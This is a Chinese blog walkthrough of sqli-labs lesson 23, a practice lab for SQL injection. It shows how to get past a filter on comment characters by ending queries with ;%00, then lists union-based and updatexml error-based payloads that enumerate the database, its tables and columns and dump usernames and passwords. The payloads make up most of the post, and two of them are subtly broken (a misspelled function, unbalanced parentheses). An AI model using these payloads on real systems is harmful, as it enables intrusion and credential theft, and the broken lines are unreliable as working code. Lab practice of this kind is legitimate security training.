zoukankan      html  css  js  c++  java
  • sqli-labs lesson 23

    less 23:

      这里通过验证?id=1'# 发现还是报错

      

      观察代码:

      

       这里涉及一个函数mixed preg_replace(mixed $pattern,mixed $replacement,mixed $subject)

      此函数执行一个正则表达式的搜索和替换,简单来讲就是搜索 subject中匹配patter部分 以replacement作为替换

      比如上面源代码中,就是在用户输入的id里搜索#和-- 并用空格替换

      所以我们的注释符要换成;%00

      执行:?id=1' ;%00  此时页面回显正常了。剩下步骤与less 1一致

      

       (因为国际惯例都知道是有3列,这里就不再演示)

      查询回显字段(注意id要找一个,不存在的值)

      这里解释一下为什么要找一个不存在的id值,大家观察下图的SQL语句,我们一共使用了两次select查询,

      但是只有一个数据可以输出,为了让我们自己构造语句的数据可以正常输出所以要使前一个select没有结果

      所以这里选择一个不存在的id值

      执行:?id=0' union select 1,2,3;%00

      

       查询数据库

      执行:?id=0' union select 1,2,database();%00

      

       查询数据库中所有表

      执行:?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();%00

      

       查询users表中的所有字段

      执行: ?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' ;%00

      

       获取username和password中字段的值

      执行:?id=0' union select 1,2,group_concat(concat_ws('-',username,password)) from users;%00

      

      

      第二个方法:报错注入

      还是用到updatexml()函数

      执行:?id=1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1);%00

       

       查询数据库:

      执行:?id=1' and update(1,concat(0x7e,database(),0x7e),1);%00

      

       查询security数据库中的字段:

      执行:?id=1' and updatexml(1,concat(0x7e,(select (table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e),1);%00

      

       查询users表中的字段:

      执行:?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),1);%00

      

       查询username字段的值

      执行:?id=1' and updatexml(1,concat(0x7e,select username from users limit 0,1),0x7e),1);%00

      password字段同理。

      

      

  • 相关阅读:
    LA3971组装电脑
    LA3971组装电脑
    LA3905流星
    LA3905流星
    LA3902网络
    LA3902网络
    LA3708墓地雕塑
    洛谷 P2330 [SCOI2005]繁忙的都市(最小生成树)
    最小生成树 & 洛谷P3366【模板】最小生成树 & 洛谷P2820 局域网
    洛谷 P1372 又是毕业季I
  • 原文地址:https://www.cnblogs.com/Zh1z3ven/p/12449691.html
Copyright © 2011-2022 走看看